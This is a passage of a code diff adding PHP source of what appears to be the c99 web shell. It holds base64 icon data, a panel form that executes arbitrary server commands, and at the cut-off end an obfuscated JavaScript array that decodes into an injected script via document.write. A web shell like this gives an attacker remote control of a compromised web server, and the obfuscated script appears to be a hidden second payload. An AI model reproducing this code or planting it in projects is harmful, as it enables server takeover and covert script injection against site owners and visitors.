+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div><script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; 